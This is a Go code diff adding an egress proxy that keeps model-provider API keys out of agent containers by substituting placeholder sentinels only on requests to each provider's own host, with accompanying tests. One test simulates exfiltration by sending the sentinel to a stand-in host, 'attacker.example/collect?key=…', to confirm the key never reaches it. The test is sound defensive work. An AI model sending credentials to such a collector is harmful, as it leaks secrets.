diff --git a/cmd/archie-agent/main.go b/cmd/archie-agent/main.go index cb8cbaaca..17d1e730f 100644 --- a/cmd/archie-agent/main.go +++ b/cmd/archie-agent/main.go @@ -15,6 +15,7 @@ import ( "syscall" "github.com/samcharles93/archie-core/internal/app/agentworker" + "github.com/samcharles93/archie-core/internal/infrastructure/egress" ) type workerRunner func(context.Context, agentworker.Settings, *slog.Logger) error @@ -90,6 +91,9 @@ func runCommand(args []string, getenv func(string) string, stderr io.Writer, run NATSToken: natsToken, StateStoreTarget: stateStoreURL, StateStoreToken: stateStoreToken, + ModelProxy: getenv(egress.ModelProxyEnv), + ModelProxyHosts: egress.ParseHosts(getenv(egress.ModelProxyHostsEnv)), + ModelProxyCA: getenv(egress.ModelProxyCAEnv), }, log); err != nil { return 1 } diff --git a/internal/app/agentworker/worker.go b/internal/app/agentworker/worker.go index 029e148b5..1c7bf4028 100644 --- a/internal/app/agentworker/worker.go +++ b/internal/app/agentworker/worker.go @@ -5,6 +5,7 @@ import ( "context" "errors" "log/slog" + "net/http" "strconv" "time" @@ -17,6 +18,7 @@ import ( "github.com/samcharles93/archie-core/internal/infrastructure/agentboot" "github.com/samcharles93/archie-core/internal/infrastructure/agentgit" agentnats "github.com/samcharles93/archie-core/internal/infrastructure/agenttransport/nats" + "github.com/samcharles93/archie-core/internal/infrastructure/egress" "github.com/samcharles93/archie-core/internal/infrastructure/readiness" "github.com/samcharles93/archie-core/internal/infrastructure/workflowsteps" "github.com/samcharles93/archie-core/internal/installtype" @@ -48,6 +50,13 @@ type Settings struct { // NATS storerpc path is deleted. StateStoreTarget string StateStoreToken string + + // ModelProxy, ModelProxyHosts and ModelProxyCA route model provider + // requests through the daemon's egress proxy, which holds the keys. + // Empty ModelProxy sends them directly. + ModelProxy string + ModelProxyHosts []string + ModelProxyCA string } type workerTransport interface { @@ -115,6 +124,15 @@ func run(ctx context.Context, settings Settings, log *slog.Logger, dependencies workDir = storage.WorktreeMountDir } + if settings.ModelProxy != "" { + transport, err := egress.ModelTransport(settings.ModelProxy, settings.ModelProxyHosts, settings.ModelProxyCA) + if err != nil { + return &StartupError{Operation: "model proxy", Err: err} + } + // The model SDK builds its clients on the default transport and takes + // no client of its own, so the process-wide default is the seam. + http.DefaultTransport = transport + } dependencies.markSafe(ctx, workDir, log) // The task is known before connecting: without a broker token the diff --git a/internal/app/archied/bootstrap.go b/internal/app/archied/bootstrap.go index d97613d93..c0340a30a 100644 --- a/internal/app/archied/bootstrap.go +++ b/internal/app/archied/bootstrap.go @@ -161,6 +161,9 @@ type boot struct { // kitLauncher starts Kit profile tasks; nil when the egress path cannot // be built on this host. kitLauncher *kitrun.Launcher + // modelEgress gives native tasks model access through the egress proxy; + // nil when the proxy cannot start. + modelEgress daemon.ModelEgress // sessionGrants records live setup sessions' granted credential services // for the egress proxy's resolver. sessionGrants *sessionGrants @@ -574,6 +577,7 @@ func (b *boot) buildDaemon() { RunCredentials: b.stateStoreGrants, ContainerPool: b.containerPool, KitLauncher: b.kitLauncher, + ModelEgress: b.modelEgress, Identities: b.identityRunners, RootIdentityID: identity.StableID(servicekit.IdentityNames(b.cfg)[0]), TaskLogs: b.taskLogs, diff --git a/internal/app/archied/kit_launcher.go b/internal/app/archied/kit_launcher.go index da20449e1..2f733884f 100644 --- a/internal/app/archied/kit_launcher.go +++ b/internal/app/archied/kit_launcher.go @@ -42,11 +42,6 @@ func (b *boot) setupKitLauncher(ctx context.Context) { log.Warn("kit harness runs disabled: egress CA", "err", err) return } - fetcher, err := fetch.New(fetch.WithDockerCredentials()) - if err != nil { - log.Warn("kit harness runs disabled: kit registry client", "err", err) - return - } ln, err := (&net.ListenConfig{}).Listen(ctx, "tcp", net.JoinHostPort(pool.HostGateway(), "0")) if err != nil { log.Warn("kit harness runs disabled: egress proxy listener", "err", err) @@ -74,6 +69,15 @@ func (b *boot) setupKitLauncher(ctx context.Context) { log.Error("egress proxy stopped", "err", err) } }() + // Native tasks need only the proxy for model access, so it serves them + // even when a Kit-only piece below fails. + b.modelEgress = modelEgress{proxy: proxy, addr: ln.Addr().String(), caFile: egress.CACertPath(caDir), config: b.cfgHolder} + fetcher, err := fetch.New(fetch.WithDockerCredentials()) + if err != nil { + b.addCleanup(func() { _ = srv.Close() }) + log.Warn("kit harness runs disabled: kit registry client", "err", err) + return + } networks := egress.NewNetworks(pool.Client(), egress.RelaySpec{ Name: relayName, Image: b.cfg.Containers.Image, Entrypoint: []string{"archie-agent"}, Cmd: cmd, Network: pool.NetworkName(), diff --git a/internal/app/archied/model_egress.go b/internal/app/archied/model_egress.go new file mode 100644 index 000000000..54319cbd2 --- /dev/null +++ b/internal/app/archied/model_egress.go @@ -0,0 +1,71 @@ +package archied + +import ( + "fmt" + "maps" + "slices" + + "github.com/docker/sandbox-kit-spec/v3/spec" + + "github.com/samcharles93/archie-core/internal/config" + "github.com/samcharles93/archie-core/internal/daemon" + "github.com/samcharles93/archie-core/internal/infrastructure/egress" + "github.com/samcharles93/archie-core/internal/storage" +) + +const modelProxyCAPath = "/opt/archie/egress-ca.pem" + +// modelEgress opens native task containers' model sessions on the egress +// proxy. Each keyed provider's key is the org's credential binding named +// after the provider. +type modelEgress struct { + proxy *egress.Proxy + addr string + caFile string + config *config.Holder +} + +func (m modelEgress) Open(token, org string, providers map[string]config.Provider) (daemon.ModelSession, error) { + var keyed []string + for _, name := range slices.Sorted(maps.Keys(providers)) { + if providers[name].APIKeyEnv != "" { + keyed = append(keyed, name) + } + } + if len(keyed) == 0 { + return daemon.ModelSession{}, nil + } + bound := m.config.Get().Containers.BoundCredentials(org, keyed, keyed) + var ( + subs []egress.Substitution + hosts []string + env []string + ) + for _, name := range keyed { + p := providers[name] + if _, ok := bound[name]; !ok { + return daemon.ModelSession{}, fmt.Errorf("provider %q has no credential binding named %q in org %s", name, name, org) + } + host, err := egress.ProviderHost(p.Class, p.BaseURL) + if err != nil { + return daemon.ModelSession{}, fmt.Errorf("provider %q: %w", name, err) + } + subs = append(subs, egress.Substitution{Service: name, Host: host}) + hosts = append(hosts, host) + env = append(env, p.APIKeyEnv+"="+egress.SentinelFor(name)) + } + session, err := m.proxy.Register(egress.SessionOptions{ + Token: token, Org: org, Substitutions: subs, + Network: &spec.PhasedNetwork{Runtime: &spec.NetworkRules{Allow: hosts}}, + }) + if err != nil { + return daemon.ModelSession{}, err + } + session.EnterRuntime() + return daemon.ModelSession{ + Env: append(env, egress.ModelProxyEnvFor(m.addr, token, hosts, modelProxyCAPath)...), + Mounts: []storage.Mount{{Type: storage.MountTypeBind, Source: m.caFile, Destination: modelProxyCAPath}}, + }, nil +} + +func (m modelEgress) Close(token string) { m.proxy.Revoke(token) } diff --git a/internal/app/archied/run_credential_resolver.go b/internal/app/archied/run_credential_resolver.go index 9c1d05e2f..c8bafc7d4 100644 --- a/internal/app/archied/run_credential_resolver.go +++ b/internal/app/archied/run_credential_resolver.go @@ -2,6 +2,7 @@ package archied import ( "context" + "slices" "github.com/samcharles93/archie-core/internal/config" "github.com/samcharles93/archie-core/internal/domain/workflow" @@ -42,6 +43,11 @@ func (r runCredentialResolver) Resolve(ctx context.Context, credential, service } cfg := r.config.Get() org, granted := cfg.CredentialAccess(task.Identity) + // A configured model provider's key is granted to every run of the org: + // any agent stage needs model access. + if _, ok := cfg.Providers[service]; ok { + granted = append(slices.Clone(granted), service) + } return r.resolveBinding(org, granted, service) } diff --git a/internal/app/archied/run_credential_resolver_test.go b/internal/app/archied/run_credential_resolver_test.go index af2ba58e6..a4a88fa84 100644 --- a/internal/app/archied/run_credential_resolver_test.go +++ b/internal/app/archied/run_credential_resolver_test.go @@ -29,17 +29,21 @@ func TestEgressResolvesOnlyGrantedCredentials(t *testing.T) { own := []string{"anthropic"} cfg := config.Config{ GrantedCredentials: []string{"github"}, + Providers: map[string]config.Provider{"openai": {Class: "openai"}, "deepseek": {Class: "deepseek"}}, Identities: []config.IdentityConfig{{Name: "acme-bot", Org: "acme", GrantedCredentials: &own}}, Containers: config.ContainerConfig{Credentials: []config.CredentialBinding{ {Service: "github", Secret: config.SecretRef{Engine: "env", Key: "GH"}}, {Service: "anthropic", Secret: config.SecretRef{Engine: "env", Key: "ROOT_AI"}}, {Service: "anthropic", Org: "acme", Secret: config.SecretRef{Engine: "env", Key: "ACME_AI"}}, + {Service: "openai", Secret: config.SecretRef{Engine: "env", Key: "ROOT_OPENAI"}}, + {Service: "openai", Org: "acme", Secret: config.SecretRef{Engine: "env", Key: "ACME_OPENAI"}}, + {Service: "deepseek", Secret: config.SecretRef{Engine: "env", Key: "ROOT_DEEPSEEK"}}, }}, } r := runCredentialResolver{ runs: runsByToken{"root-run": {ID: 1}, "acme-run": {ID: 2, Identity: "acme-bot"}}, config: config.NewHolder(cfg), - secrets: secretValues{"GH": "gh-secret", "ROOT_AI": "root-ai", "ACME_AI": "acme-ai"}, + secrets: secretValues{"GH": "gh-secret", "ROOT_AI": "root-ai", "ACME_AI": "acme-ai", "ROOT_OPENAI": "root-openai", "ACME_OPENAI": "acme-openai", "ROOT_DEEPSEEK": "root-deepseek"}, } tests := []struct { name, credential, service, want string @@ -49,6 +53,9 @@ func TestEgressResolvesOnlyGrantedCredentials(t *testing.T) { {"identity run gets its own org's binding", "acme-run", "anthropic", "acme-ai"}, {"identity grants replace the root's", "acme-run", "github", ""}, {"unknown credential", "gone", "github", ""}, + {"a model provider key needs no grant", "root-run", "openai", "root-openai"}, + {"a model provider key is the run's own org's", "acme-run", "openai", "acme-openai"}, + {"another org's model provider key is unbound", "acme-run", "deepseek", ""}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { diff --git a/internal/daemon/daemon.go b/internal/daemon/daemon.go index a25ce79e0..9fa4f9f57 100644 --- a/internal/daemon/daemon.go +++ b/internal/daemon/daemon.go @@ -152,6 +152,9 @@ type Daemon struct { RunCredentials RunCredentialIssuer // KitLauncher starts tasks whose agent profile is a Kit. Nil parks them. KitLauncher KitLauncher + // ModelEgress gives native task containers model access without provider + // keys. Nil parks a task whose providers need a key. + ModelEgress ModelEgress // TaskRunReadyTimeout bounds how long runViaAgent retries a taskrun request // while the new container has not subscribed yet. Zero uses // defaultTaskRunReadyTimeout. @@ -1646,14 +1649,17 @@ func (d *Daemon) process(ctx context.Context, task *workflow.Task, hold *taskHol // teardownStorage runs after the workflow completes. The Docker backend is // a no-op; future backends (temp volumes, NFS leases) use this hook. func (d *Daemon) teardownStorage(ctx context.Context, task *workflow.Task, repo config.Repo, workDir string) { - if d.Storage != nil { - _ = d.Storage.Teardown(ctx, storage.TaskRef{ - WorktreeDir: workDir, - Ecosystem: repo.Ecosystem, - PersistentStorage: repo.PersistentStorage, - Owner: task.Owner, - Repo: task.Repo, - }) + if d.Storage == nil { + return + } + if err := d.Storage.Teardown(ctx, storage.TaskRef{ + WorktreeDir: workDir, + Ecosystem: repo.Ecosystem, + PersistentStorage: repo.PersistentStorage, + Owner: task.Owner, + Repo: task.Repo, + }); err != nil { + d.Log.Warn("storage teardown failed", "task", task.ID, "err", err) } } @@ -1828,35 +1834,29 @@ func (d *Daemon) acquireTaskContainer( credential, revokeCredential, err := d.runCredential(task) if err != nil { - if terr := d.Storage.Teardown(ctx, storage.TaskRef{ - WorktreeDir: workDir, - Ecosystem: repo.Ecosystem, - PersistentStorage: repo.PersistentStorage, - Owner: task.Owner, - Repo: task.Repo, - }); terr != nil { - d.Log.Warn("storage teardown after run credential failure failed", "err", terr) - } + d.teardownStorage(ctx, task, repo, workDir) park("run credential failed", err) return nil, "", nil, false } - ctr, err := d.ContainerPool.Acquire(ctx, image, mounts, d.containerEnv(task, credential)) + model, closeModel, err := d.openModelEgress(task, credential) + if err != nil { + revokeCredential() + d.teardownStorage(ctx, task, repo, workDir) + park("model egress failed", err) + return nil, "", nil, false + } + revokeRun := revokeCredential + revokeCredential = func() { closeModel(); revokeRun() } + + ctr, err := d.ContainerPool.Acquire(ctx, image, append(mounts, model.Mounts...), append(d.containerEnv(task, credential), model.Env...)) if err != nil { revokeCredential() // Roll back the storage we just set up: the mounts were created // for this task but no container will use them. Leaking them until // a later TTL sweep is not acceptable on a backend that allocates // real resources (volumes, NFS leases). - if terr := d.Storage.Teardown(ctx, storage.TaskRef{ - WorktreeDir: workDir, - Ecosystem: repo.Ecosystem, - PersistentStorage: repo.PersistentStorage, - Owner: task.Owner, - Repo: task.Repo, - }); terr != nil { - d.Log.Warn("storage teardown after acquire failure failed", "err", terr) - } + d.teardownStorage(ctx, task, repo, workDir) park("container acquire failed", err) return nil, "", nil, false } @@ -2270,13 +2270,6 @@ func (d *Daemon) containerEnv(task *workflow.Task, stateStoreToken string) []str // back before the daemon reads it to push. env = append(env, fmt.Sprintf("WORKTREE_UID=%d", os.Getuid())) env = append(env, fmt.Sprintf("WORKTREE_GID=%d", os.Getgid())) - for _, p := range d.configFor(task).Providers { - if p.APIKeyEnv != "" { - if v := os.Getenv(p.APIKeyEnv); v != "" { - env = append(env, p.APIKeyEnv+"="+v) - } - } - } return env } diff --git a/internal/daemon/kit_task.go b/internal/daemon/kit_task.go index aa965f641..29153627d 100644 --- a/internal/daemon/kit_task.go +++ b/internal/daemon/kit_task.go @@ -11,6 +11,7 @@ import ( workflowtask "github.com/samcharles93/archie-core/internal/domain/workflow/task" "github.com/samcharles93/archie-core/internal/infrastructure/kit" "github.com/samcharles93/archie-core/internal/infrastructure/kitrun" + "github.com/samcharles93/archie-core/internal/storage" "github.com/samcharles93/archie-core/internal/taskstate" ) @@ -112,3 +113,40 @@ func (d *Daemon) removeEndedKitVolumes(ctx context.Context, taskID int64, volume d.Log.Warn("kit volume removal failed", "task", taskID, "err", err) } } + +// ModelEgress opens a native task's model proxy session. The container holds +// a sentinel under each provider's key variable and reaches the providers +// through the egress proxy, which swaps in the org's bound key. +type ModelEgress interface { + Open(token, org string, providers map[string]config.Provider) (ModelSession, error) + Close(token string) +} + +// ModelSession is what a native container needs for its model proxy session. +type ModelSession struct { + Env []string + Mounts []storage.Mount +} + +// openModelEgress opens task's model session, or refuses: provider keys +// never reach a container, so without the proxy no model call can run. +func (d *Daemon) openModelEgress(task *workflow.Task, credential string) (ModelSession, func(), error) { + cfg := d.configFor(task) + if d.ModelEgress == nil { + for _, p := range cfg.Providers { + if p.APIKeyEnv != "" { + return ModelSession{}, nil, fmt.Errorf("model egress proxy is unavailable on this daemon, and provider keys never enter a container") + } + } + return ModelSession{}, func() {}, nil + } + if credential == "" { + return ModelSession{}, nil, fmt.Errorf("model egress needs a run credential, and no State Store issues one") + } + org, _ := cfg.CredentialAccess(task.Identity) + session, err := d.ModelEgress.Open(credential, org, cfg.Providers) + if err != nil { + return ModelSession{}, nil, err + } + return session, func() { d.ModelEgress.Close(credential) }, nil +} diff --git a/internal/infrastructure/egress/modelproxy.go b/internal/infrastructure/egress/modelproxy.go new file mode 100644 index 000000000..a5c7451b2 --- /dev/null +++ b/internal/infrastructure/egress/modelproxy.go @@ -0,0 +1,117 @@ +package egress + +import ( + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "net/http" + "net/url" + "os" + "slices" + "strings" +) + +// Environment a native agent container reads to send its model provider +// requests through the proxy. +const ( + ModelProxyEnv = "ARCHIE_MODEL_PROXY" + ModelProxyHostsEnv = "ARCHIE_MODEL_PROXY_HOSTS" + ModelProxyCAEnv = "ARCHIE_MODEL_PROXY_CA" +) + +// ModelProxyURL is the proxy address a native container logs in to with its +// run credential. +func ModelProxyURL(addr, token string) string { + return (&url.URL{Scheme: "http", User: url.UserPassword(proxyUser, token), Host: addr}).String() +} + +// ModelTransport is an http.Transport that sends requests for hosts through +// proxyURL, trusting the proxy's CA, and everything else directly. Only the +// model provider hosts go through the proxy, so the rest of the agent's +// traffic is unchanged. +func ModelTransport(proxyURL string, hosts []string, caFile string) (*http.Transport, error) { + proxy, err := url.Parse(proxyURL) + if err != nil { + return nil, fmt.Errorf("model proxy url: %w", err) + } + pem, err := os.ReadFile(caFile) + if err != nil { + return nil, fmt.Errorf("model proxy ca: %w", err) + } + roots, err := x509.SystemCertPool() + if err != nil { + roots = x509.NewCertPool() + } + if !roots.AppendCertsFromPEM(pem) { + return nil, errors.New("model proxy ca: no certificate in " + caFile) + } + base, ok := http.DefaultTransport.(*http.Transport) + if !ok { + return nil, errors.New("model proxy: the default transport is not an *http.Transport") + } + t := base.Clone() + t.TLSClientConfig = &tls.Config{RootCAs: roots, MinVersion: tls.VersionTLS12} + t.Proxy = func(r *http.Request) (*url.URL, error) { + if slices.Contains(hosts, normalizeHost(r.URL.Hostname())) { + return proxy, nil + } + return nil, nil + } + return t, nil +} + +// ProviderHost is the host a provider's requests go to: its base URL's, or +// its class's default. An unknown class without a base URL has none, and +// cannot be served through the proxy. +func ProviderHost(class, baseURL string) (string, error) { + if baseURL == "" { + baseURL = classBaseURL[class] + } + if baseURL == "" { + return "", fmt.Errorf("provider class %q needs a base_url", class) + } + u, err := url.Parse(baseURL) + if err != nil || u.Hostname() == "" { + return "", fmt.Errorf("provider base_url %q has no host", baseURL) + } + return normalizeHost(u.Hostname()), nil +} + +// classBaseURL mirrors the default base URL each ai-sdk provider class uses +// when a provider sets none. +var classBaseURL = map[string]string{ + "openai": "https://api.openai.com", + "openaiobject": "https://api.openai.com", + "anthropic": "https://api.anthropic.com", + "cohere": "https://api.cohere.com", + "deepseek": "https://api.deepseek.com", + "gemini": "https://generativelanguage.googleapis.com", + "groq": "https://api.groq.com", + "minimax": "https://api.minimax.io", + "mistral": "https://api.mistral.ai", + "perplexity": "https://api.perplexity.ai", + "xai": "https://api.x.ai", + "togetherai": "https://api.together.xyz", +} + +// ModelProxyEnvFor is the environment entry list naming the proxy, its hosts +// and the CA path inside the container. +func ModelProxyEnvFor(addr, token string, hosts []string, caPath string) []string { + return []string{ + ModelProxyEnv + "=" + ModelProxyURL(addr, token), + ModelProxyHostsEnv + "=" + strings.Join(hosts, ","), + ModelProxyCAEnv + "=" + caPath, + } +} + +// ParseHosts splits ModelProxyHostsEnv's value. +func ParseHosts(value string) []string { + var hosts []string + for h := range strings.SplitSeq(value, ",") { + if h = normalizeHost(strings.TrimSpace(h)); h != "" { + hosts = append(hosts, h) + } + } + return hosts +} diff --git a/internal/infrastructure/egress/proxy.go b/internal/infrastructure/egress/proxy.go index db4a2d1c7..b554ff8af 100644 --- a/internal/infrastructure/egress/proxy.go +++ b/internal/infrastructure/egress/proxy.go @@ -34,13 +34,14 @@ var cgnat = &net.IPNet{IP: net.IPv4(100, 64, 0, 0), Mask: net.CIDRMask(10, 32)} // its Kit's network policy. It starts in the install phase; the runner moves // it to runtime before the workload's entrypoint starts. type Session struct { - token string - org string - install rules - runtime rules - injections []injection - oauth []oauthRule - atRun atomic.Bool + token string + org string + install rules + runtime rules + injections []injection + substitutions []substitution + oauth []oauthRule + atRun atomic.Bool } // Token is the secret the container presents as its proxy password: its run @@ -93,6 +94,9 @@ type SessionOptions struct { // kind. Credentials []spec.CredentialCapability Bound map[string]CredentialKind + // Substitutions swap a service's sentinel for its key on requests to the + // service's host. + Substitutions []Substitution } // Proxy is the egress proxy sandbox containers reach through their relay. @@ -132,6 +136,7 @@ func (p *Proxy) Register(opts SessionOptions) (*Session, error) { s := &Session{ token: opts.Token, org: opts.Org, injections: compileInjections(opts.Credentials, opts.Bound), oauth: compileOAuthRules(opts.Credentials, opts.Bound), + substitutions: compileSubstitutions(opts.Substitutions), } for _, rule := range s.oauth { if rule.required && p.oauth == nil { @@ -287,6 +292,9 @@ func (p *Proxy) forward(ctx context.Context, w http.ResponseWriter, r *http.Requ if err == nil { err = p.injectOAuth(ctx, s, r, host, port) } + if err == nil { + err = p.substitute(ctx, s, r, host, port) + } if err != nil { http.Error(w, "egress to "+target+": "+err.Error(), http.StatusBadGateway) return diff --git a/internal/infrastructure/egress/substitute.go b/internal/infrastructure/egress/substitute.go new file mode 100644 index 000000000..d3b512479 --- /dev/null +++ b/internal/infrastructure/egress/substitute.go @@ -0,0 +1,83 @@ +package egress + +import ( + "context" + "errors" + "fmt" + "net/http" + "strings" +) + +// SentinelFor is the placeholder a container holds in place of service's +// key. The proxy swaps it for the real key only on requests to the +// service's own host, so a container never holds a key and cannot send one +// anywhere else. +func SentinelFor(service string) string { return Sentinel + ":" + service } + +// Substitution swaps service's sentinel for its resolved key on requests to +// Host. It serves clients that put the key wherever their protocol wants it +// (a bearer header, an API-key header, a query parameter) without the proxy +// knowing each protocol. +type Substitution struct { + Service string + Host string +} + +type substitution struct { + service string + domain pattern +} + +func compileSubstitutions(subs []Substitution) []substitution { + out := make([]substitution, 0, len(subs)) + for _, s := range subs { + out = append(out, substitution{service: s.Service, domain: compilePattern(s.Host)}) + } + return out +} + +// substitute replaces each sentinel this host may receive in r's headers and +// query with its resolved key. A sentinel bound for another host is left as +// it is, so the upstream sees only a placeholder. +func (p *Proxy) substitute(ctx context.Context, s *Session, r *http.Request, host string, port int) error { + for _, sub := range s.substitutions { + if !sub.domain.matches(normalizeHost(host), port) { + continue + } + sentinel := SentinelFor(sub.service) + if !requestCarries(r, sentinel) { + continue + } + if p.resolver == nil { + return fmt.Errorf("credential %q has no resolver", sub.service) + } + secret, err := p.resolver.Resolve(ctx, s.token, sub.service) + if errors.Is(err, ErrUnbound) { + return fmt.Errorf("credential %q is not bound for this run", sub.service) + } + if err != nil { + return fmt.Errorf("resolve credential %q: %w", sub.service, err) + } + for _, values := range r.Header { + for i, v := range values { + values[i] = strings.ReplaceAll(v, sentinel, secret) + } + } + r.URL.RawQuery = strings.ReplaceAll(r.URL.RawQuery, sentinel, secret) + } + return nil +} + +func requestCarries(r *http.Request, sentinel string) bool { + if strings.Contains(r.URL.RawQuery, sentinel) { + return true + } + for _, values := range r.Header { + for _, v := range values { + if strings.Contains(v, sentinel) { + return true + } + } + } + return false +} diff --git a/internal/infrastructure/egress/substitute_test.go b/internal/infrastructure/egress/substitute_test.go new file mode 100644 index 000000000..eb6aa2b77 --- /dev/null +++ b/internal/infrastructure/egress/substitute_test.go @@ -0,0 +1,76 @@ +package egress + +import ( + "context" + "net" + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +// A provider key reaches only the provider's own host. Anywhere else the +// upstream sees the placeholder, so a container that sends its sentinel to +// another host learns nothing. +func TestSubstitutionReachesOnlyTheServiceHost(t *testing.T) { + t.Parallel() + + cases := []struct { + name string + host string + target string + wantKey bool + wantError bool + resolve func() (string, error) + }{ + {name: "the service host gets the key", host: "api.openai.example", target: "/v1/chat?key=" + SentinelFor("openai"), wantKey: true}, + {name: "another host keeps the placeholder", host: "attacker.example", target: "/collect?key=" + SentinelFor("openai")}, + { + name: "an unbound credential stops the request", host: "api.openai.example", target: "/v1/chat", wantError: true, + resolve: func() (string, error) { return "", ErrUnbound }, + }, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + var seen *http.Request + upstream := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, r *http.Request) { seen = r })) + defer upstream.Close() + + resolve := tc.resolve + if resolve == nil { + resolve = func() (string, error) { return "real-key", nil } + } + proxy := NewProxy(nil, ProxyOptions{ + Resolver: ResolverFunc(func(context.Context, string, string) (string, error) { return resolve() }), + Dial: func(ctx context.Context, _, _ string) (net.Conn, error) { + return (&net.Dialer{}).DialContext(ctx, "tcp", upstream.Listener.Addr().String()) + }, + }) + session := &Session{token: "run-token", substitutions: compileSubstitutions([]Substitution{{Service: "openai", Host: "api.openai.example"}})} + + req := httptest.NewRequestWithContext(context.Background(), http.MethodPost, "http://"+tc.host+tc.target, nil) + req.Header.Set("Authorization", "Bearer "+SentinelFor("openai")) + rec := httptest.NewRecorder() + proxy.forward(context.Background(), rec, req, session, "http", tc.host, 80) + + if tc.wantError { + if rec.Code != http.StatusBadGateway || seen != nil { + t.Fatalf("status = %d, forwarded = %v; want 502 and nothing forwarded", rec.Code, seen != nil) + } + return + } + if seen == nil { + t.Fatalf("request not forwarded: %d %q", rec.Code, rec.Body.String()) + } + got := seen.Header.Get("Authorization") + " " + seen.URL.RawQuery + if strings.Contains(got, "real-key") != tc.wantKey { + t.Fatalf("upstream saw %q; key present = %v, want %v", got, !tc.wantKey, tc.wantKey) + } + if tc.wantKey && strings.Contains(got, Sentinel) { + t.Fatalf("a sentinel survived on the service host: %q", got) + } + }) + } +}